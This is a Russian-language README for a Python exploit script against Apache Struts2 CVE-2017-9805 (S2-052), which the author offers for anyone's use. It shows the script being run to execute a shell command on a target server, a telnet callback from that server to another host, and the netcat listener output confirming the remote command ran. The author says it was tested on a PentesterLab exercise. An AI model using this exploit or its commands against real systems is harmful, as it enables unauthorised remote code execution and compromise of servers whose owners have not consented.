Vulnerability information

Resources: * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805

Что это?

Python-скрипт эксплойта, способный выполнять удалённые команды в оболочке системы, на которой запущен Struts2, уязвимый для S2-052.

Использование

╭─root@blackshell ~/
╰─# python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234"

[*] Apache Struts XStream REST vulnerability - S2-052
[*] Creating payload ...
[*] Exploit packet has 2582 bytes.
[*] Sending exploit packet ...
[+] Exploit packet has been sent.

╭─zc00l@blackshell ~/
╰─$ nc -lvp 1234

listening on [any] 1234 ...
connect to [192.168.0.122] from vulnerable.lan [192.168.0.233] 55791
pwned

Протестировано на уязвимой машине pentesterlab упражнения s2-052.

Права автора

Этот скрипт эксплойта написан мной (zc00l) и может использоваться любым желающим.

Если вы хотите использовать или модифицировать этот скрипт, пожалуйста, отдайте должное уже проделанной работе.